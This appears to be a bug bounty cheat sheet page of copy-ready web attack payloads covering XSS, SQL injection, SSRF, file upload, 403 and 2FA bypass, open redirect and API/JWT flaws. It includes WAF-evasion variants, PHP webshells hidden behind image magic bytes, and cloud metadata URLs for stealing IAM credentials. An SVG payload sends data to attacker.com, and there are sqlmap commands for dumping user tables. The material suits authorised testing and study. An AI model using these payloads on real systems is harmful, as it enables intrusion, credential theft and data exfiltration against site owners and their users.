Web Apps Bug Bounty OWASP Top 10

Web Application Attacks

XSS, SQLi, SSRF, File Upload, Access Control - with WAF bypass techniques

8 attack categories
WAF bypass payloads
Updated 2026
1

Cross-Site Scripting (XSS)

XSS allows attackers to inject malicious scripts into pages viewed by other users. Three types: Reflected (URL), Stored (database), DOM-based (client-side).

How XSS works:

User input is reflected in the page without sanitization. The browser executes it as code because it trusts content from the same origin. Impact: session hijacking, credential theft, defacement, malware distribution.

Basic Payloads

Start with these - test for basic reflection
# Classic alert box
<script>alert(1)</script>
<script>alert(document.domain)</script>

# Event handlers (when script tags blocked)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

# Without parentheses (when () filtered)
<script>alert`1`</script>
<img src=x onerror=alert`1`>

Attribute Escape

When your input lands inside an HTML attribute, you need to break out of it first.

Break out of attributes
# If input is in: <input value="USER_INPUT">
" onclick=alert(1) x="
" onfocus=alert(1) autofocus="
"><script>alert(1)</script>

# href/src attributes - javascript protocol
<a href="javascript:alert(1)">Click</a>
<a href="javascript:alert(1)">Click</a>

# Unicode escape when quotes encoded
\u0022\u003e\u003cimg src=x onerror=alert(1)\u003e

WAF Bypass Payloads

Evade common WAF filters
# Cloudflare bypass
<Svg Only=1 OnLoad=alert(1)>
<iframe/src='%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A:prompt`1`'>

# AWS WAF bypass - add <! before payload
<!<script>confirm(1)</script>

# Akamai bypass - null bytes
<img sr%00c=x o%00nerror=((pro%00mpt(1)))>

# ModSecurity CRS bypass
<a href="jav%0Dascript:alert(1)">

# Wordfence bypass
<a href=javascript:alert(1)>

# Generic - case mixing + encoding
<ScRiPt>alert(1)</ScRiPt>
<script>eval.call`${'alert\x2823\x29'}`</script>

XSS Polyglot

Test multiple XSS scenarios with ONE payload. Works in different contexts.

Universal polyglot - try everywhere
# Polyglot that works in multiple contexts
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

# Shorter polyglot
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>

Reflected XSS

Input from URL reflected in response. Requires victim to click malicious link.

Stored XSS

Payload saved to database. Executes for every visitor. Higher impact!

Automated XSS Scanner

XSSNow - Automated XSS vulnerability scanner with payload generation and bypass detection.

Try XSSNow | GitHub
2

SQL Injection

SQL injection allows attackers to interfere with database queries. Can lead to data theft, authentication bypass, or even RCE via xp_cmdshell.

How to detect SQLi:

Try logical operations: if ?id=1 returns same as ?id=1' AND '1'='1 but different from ?id=1' AND '1'='2, you found SQLi. Time-based: add SLEEP() and measure response time.

Detection Payloads

Basic detection - look for errors or behavior changes
# Error-based (look for SQL errors in response)
'
"
`
')
")
`)
'))
"))

# Boolean-based (compare responses)
' OR '1'='1
' OR '1'='2
' AND '1'='1
1 OR 1=1
1' OR '1'='1'--

# Comment variations
--
#
/**/
-- -

Time-Based Blind SQLi

When no visible output - use time delays to confirm vulnerability. Best for login pages, forgot password, signup forms.

Time-based payloads - measure response delay
# MySQL
' AND SLEEP(5)--
' OR SLEEP(5)--
orwa' AND (SELECT 6377 FROM (SELECT(SLEEP(5)))hLTl)--
')) or sleep(5)='

# MSSQL
'; WAITFOR DELAY '0:0:5'--
'); WAITFOR DELAY '0:0:5'--

# PostgreSQL
'; SELECT pg_sleep(5)--

# XOR-based (evasion)
0"XOR(if(now()=sysdate(),sleep(5),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(5),0))XOR'Z

SQLMap Exploitation

Automate exploitation with sqlmap
# Basic usage with request file (save from Burp)
sqlmap -r request.txt -p parameter --dbs

# Full enumeration
sqlmap -r request.txt -p id --force-ssl --level 5 --risk 3 --dbs

# Specific database type
sqlmap -r request.txt --dbms="MySQL" --technique=T

# WAF bypass
sqlmap -r request.txt --random-agent --tamper=space2comment

# Dump specific table
sqlmap -r request.txt -D dbname -T users --dump

File Upload SQLi

Filenames are often stored in databases without sanitization.

SQLi via filename
# Name your file with SQLi payload
--sleep(15).png
'sleep(10)--.png
pic.png;waitfor delay '0:0:5'--
3

Server-Side Request Forgery (SSRF)

SSRF tricks the server into making requests to unintended locations - internal services, cloud metadata, or arbitrary external sites.

SSRF Impact:

Port scanning internal network, reading local files (file://), accessing cloud metadata (AWS keys!), hitting internal admin panels, chaining to RCE via Redis/Memcached.

Basic SSRF Payloads

Internal service access
# Localhost variations
http://127.0.0.1/admin
http://localhost/admin
http://127.0.0.1:22
http://[::]:80
http://0.0.0.0:80
http://127.1/

# Decimal/Hex IP encoding
http://2130706433  # = 127.0.0.1
http://0x7F000001  # = 127.0.0.1
http://0177.0.0.1  # Octal

# Internal network scanning
http://192.168.1.1/
http://10.0.0.1/
http://172.16.0.1/

Protocol Handlers

Different protocols for different attacks
# File read (LFI via SSRF)
file:///etc/passwd
file:///etc/hosts
file:///C:/Windows/win.ini

# Dict protocol (bypass http blocking)
dict://attacker.com:1337/

# Gopher (universal protocol - chain to Redis, MySQL, SMTP)
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a

# SFTP/LDAP/TFTP
sftp://attacker.com:1337/
ldap://127.0.0.1:389/
tftp://attacker.com:1337/test

Cloud Metadata (Critical!)

Steal cloud credentials - AWS, GCP, Azure
# AWS Metadata (IMDSv1) - get IAM credentials!
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE_NAME]
http://169.254.169.254/latest/user-data/

# Google Cloud
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Requires header: Metadata-Flavor: Google

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Requires header: Metadata: true

# DigitalOcean
http://169.254.169.254/metadata/v1/

Cloud Metadata = Critical Severity

AWS credentials from metadata can lead to full account compromise. Always test cloud metadata endpoints first!

Bypass Techniques

Bypass SSRF filters
# DNS rebinding
http://spoofed.burpcollaborator.net  # Points to 127.0.0.1

# URL encoding
http://127.0.0.1%2523@attacker.com/
http://attacker.com%00127.0.0.1

# Redirect bypass (host your own redirect)
http://yourserver.com/redirect.php?url=http://169.254.169.254/

# IPv6 variations
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/
4

File Upload Attacks

Unrestricted file uploads can lead to RCE (webshells), XSS, SSRF, and more depending on how files are processed and served.

High Impact

  • • PHP/ASP/JSP → Webshell/RCE
  • • SVG → Stored XSS, SSRF, XXE
  • • ZIP → Path traversal, DoS

Medium Impact

  • • HTML/JS → XSS, redirect
  • • XML → XXE
  • • CSV → Formula injection

Extension Bypass

Bypass extension blacklists
# PHP alternatives
.phtml, .pht, .php3, .php4, .php5, .php7, .phps, .phar, .pgif, .inc

# ASP alternatives
.asp, .aspx, .cer, .asa

# JSP alternatives
.jsp, .jspx, .jsw, .jsv, .jspf

# Case manipulation
.pHp, .PhP, .PHP, .pHP5

# Double extensions
shell.php.jpg
shell.jpg.php
shell.php.png
shell.php%00.jpg    # Null byte

# Special characters
shell.php%20        # Space
shell.php%0a        # Newline
shell.php.....      # Windows strips trailing dots
shell.php/          # Trailing slash
shell.php::$data    # NTFS ADS

Content-Type Bypass

Change Content-Type header in Burp
# Change from:
Content-Type: application/x-php
Content-Type: application/octet-stream

# To:
Content-Type: image/png
Content-Type: image/gif
Content-Type: image/jpeg

Magic Bytes Bypass

Add image file signature at the start of your webshell. Server checks magic bytes, thinks it's an image.

Add magic bytes to shell
# GIF header (easiest)
GIF89a;
<?php system($_GET['cmd']); ?>

# Create with proper JPEG magic bytes
echo -e '\xFF\xD8\xFF\xE0\n<?php system($_GET["cmd"]); ?>' > shell.php.jpg

# Embed in EXIF comment (bypasses getimagesize())
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg image.php.jpg

Minimal Webshells

Small shells to bypass size limits
# Smallest PHP shell (17 bytes)
<?=`$_GET[x]`?>
# Usage: shell.php?x=id

# Alternative small shells
<?php system($_GET['c']); ?>
<?php passthru($_REQUEST['c']); ?>
<?php echo shell_exec($_GET['e']); ?>

SVG for XSS/XXE

SVG payloads - XSS and XXE
# SVG XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

# SVG XXE (read files)
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="20">&xxe;</text>
</svg>

# SVG SSRF
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://attacker.com/log?data=stolen"/>
</svg>
5

Access Control Bypass (403 Bypass)

When you get a 403 Forbidden, don't give up! Many access controls can be bypassed through path manipulation, header injection, or verb tampering.

Path Manipulation

Append characters to bypass path-based restrictions
# Original blocked path
/admin → 403

# Try these variations
/admin/
/admin/.
/admin..;/
/admin;/
/admin/./
/./admin/
//admin//
/admin%20
/admin%09
/admin%00
/admin.json
/admin.html
/ADMIN          # Case change
/%2e/admin      # Encoded dot
/admin%252f     # Double-encoded slash

HTTP Header Bypass

Some apps trust certain headers to identify "internal" requests. Spoof them!

Add these headers to your request
# IP spoofing headers
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

# Values to try
127.0.0.1
localhost
10.0.0.1
192.168.1.1
0.0.0.0

HTTP Verb Tampering

Change HTTP method
# If GET is blocked, try:
POST /admin
PUT /admin
PATCH /admin
DELETE /admin
HEAD /admin       # Returns headers only
OPTIONS /admin    # Check allowed methods
TRACE /admin
CONNECT /admin

# Arbitrary verbs (some frameworks accept any)
JEFF /admin
ANYTHING /admin

Protocol Downgrade

HTTP/1.0 and header removal
# Change HTTP/1.1 to HTTP/1.0 and remove Host header
GET /admin HTTP/1.0

# Some servers insert their own Host when missing,
# treating request as "local"
6

Authentication Attacks

2FA Bypass

Common 2FA bypass techniques
# 1. Direct page access - skip 2FA step entirely
/login/otp → /dashboard  # Go directly to protected page

# 2. Response manipulation
Intercept response, change "success": false → "success": true
Change status 403 → 200

# 3. Brute force OTP (if no rate limit)
Try all 000000-999999 combinations

# 4. OTP in response
Check response body for leaked OTP

# 5. Reuse tokens
Use same OTP code again
Use another user's valid OTP

# 6. Null/empty values
OTP: null
OTP: 000000
OTP: ""

# 7. Referrer check bypass
Set Referer header to 2FA page URL

Rate Limit Bypass

Bypass rate limiting on login/OTP
# IP rotation headers
X-Forwarded-For: 1.2.3.4      # Change IP each request
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Client-IP: 1.2.3.4

# Add null bytes/spaces to parameter
email=test@test.com%00
email=test@test.com%20
email=test@test.com%0a

# Parameter case change
/signup → /SignUp → /SIGNUP

# Add random parameter
/login?bypass=random

# Change User-Agent per request

# Use double IP header
X-Forwarded-For: 1.1.1.1
X-Forwarded-For: 2.2.2.2

CSRF Token Bypass

CSRF protection bypass techniques
# 1. Remove CSRF token entirely
# 2. Send empty token
# 3. Use another user's token
# 4. Change POST to GET (may skip CSRF check)
# 5. Remove Referer header
<meta name="referrer" content="no-referrer">

# 6. Referer bypass
Referer: https://target.com.attacker.com
Referer: https://attacker.com/target.com

# 7. Change token slightly (weak validation)
# 8. Check if token is tied to session
7

Open Redirect

Open redirects are often low severity alone, but chain with SSRF or OAuth to escalate impact. Always save them!

Common parameters:

?url= ?redirect= ?return= ?returnUrl= ?next= ?goto= ?dest= ?continue= ?r_url= ?target=

Bypass Payloads

Filter bypass techniques
# Basic
//evil.com
\/\/evil.com
\\evil.com

# Protocol-relative
/\/evil.com
/\/\evil.com

# @ bypass
//target.com@evil.com
https://target.com@evil.com

# Parameter pollution
?url=https://target.com?url=https://evil.com

# Encoded variations
/%2F/evil.com
/%5Cevil.com
//%2F/evil.com

# Null bytes and whitespace
/%00/evil.com
/%0D/evil.com
/%09/evil.com

# Unicode dots
//google%E3%80%82com  # Fullwidth dot

# Subdomain tricks
https://evil.com%3F.target.com/
https://evil.com%23.target.com/
https://target.com.evil.com

Chaining Open Redirect

+ SSRF

Bypass SSRF whitelist by redirecting from trusted domain to internal IP

+ OAuth

Steal OAuth tokens by redirecting callback to attacker site

8

API Security

APIs often have weaker security controls than web UIs. Focus on IDOR, broken authentication, and mass assignment.

IDOR / Broken Object Level Auth

Object ID manipulation techniques
# Change numeric IDs
GET /api/users/123 → GET /api/users/124

# Try numeric when seeing UUID
GET /api/users/6b95d962-df38 → GET /api/users/1

# ID in body/headers (often less protected)
{"user_id": 123} → {"user_id": 124}

# Array wrapping
{"id": 111} → {"id": [111]}
{"id": 111} → {"id": {"id": 111}}

# Wildcards
/api/users/1 → /api/users/*
/api/users/1 → /api/users/_

# Parameter pollution
/api/users?id=legit&id=victim
{"user_id": "legit", "user_id": "victim"}

API Versioning & Paths

Find hidden/old API endpoints
# Version downgrade (older = less secure)
/api/v3/users → /api/v2/users → /api/v1/users

# Alternative auth endpoints
/api/login → /api/mobile/login
/api/login → /api/internal/login

# Different content types
Content-Type: application/json
Content-Type: application/xml  # May enable XXE
Content-Type: application/x-www-form-urlencoded

Mass Assignment / Parameter Pollution

Add unexpected parameters
# Add admin/role parameters
{"username": "test"} → {"username": "test", "role": "admin"}
{"email": "a@b.com"} → {"email": "a@b.com", "isAdmin": true}

# Type juggling
{"username": "test"} → {"username": true}
{"username": "test"} → {"username": 1}
{"username": "test"} → {"username": null}
{"username": "test"} → {"username": ["test"]}

# NoSQL injection patterns
{"username": {"$ne": "invalid"}}
{"username[$ne]": "invalid"}

Pro Tips

  • • Check mobile app APIs - often less secured than web
  • • Staging/QA environments have weaker controls
  • • Look for GraphQL introspection
  • • Export/PDF features often have injection vulns

JWT Security Testing

Common JWT attack patterns
# Algorithm confusion (none attack)
Change "alg": "HS256" → "alg": "none"
Remove signature, keep trailing dot

# Key confusion (RS256 → HS256)
Change algorithm, sign with public key as secret

# Weak secret brute force
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# Kid injection
"kid": "../../dev/null"
"kid": "key.pem' UNION SELECT 'secret'--"

JWT Security Auditor

JWTAuditor - Automated JWT vulnerability testing: algorithm confusion, signature bypass, claim manipulation, and weak key detection.

Try JWTAuditor | GitHub

Testing Methodology

For Each Input

  • 1. Test XSS (reflected, stored)
  • 2. Test SQLi (error, time-based)
  • 3. Test command injection
  • 4. Test path traversal

For Each Endpoint

  • 1. Test IDOR (change IDs)
  • 2. Test access control (403 bypass)
  • 3. Test verb tampering
  • 4. Test rate limiting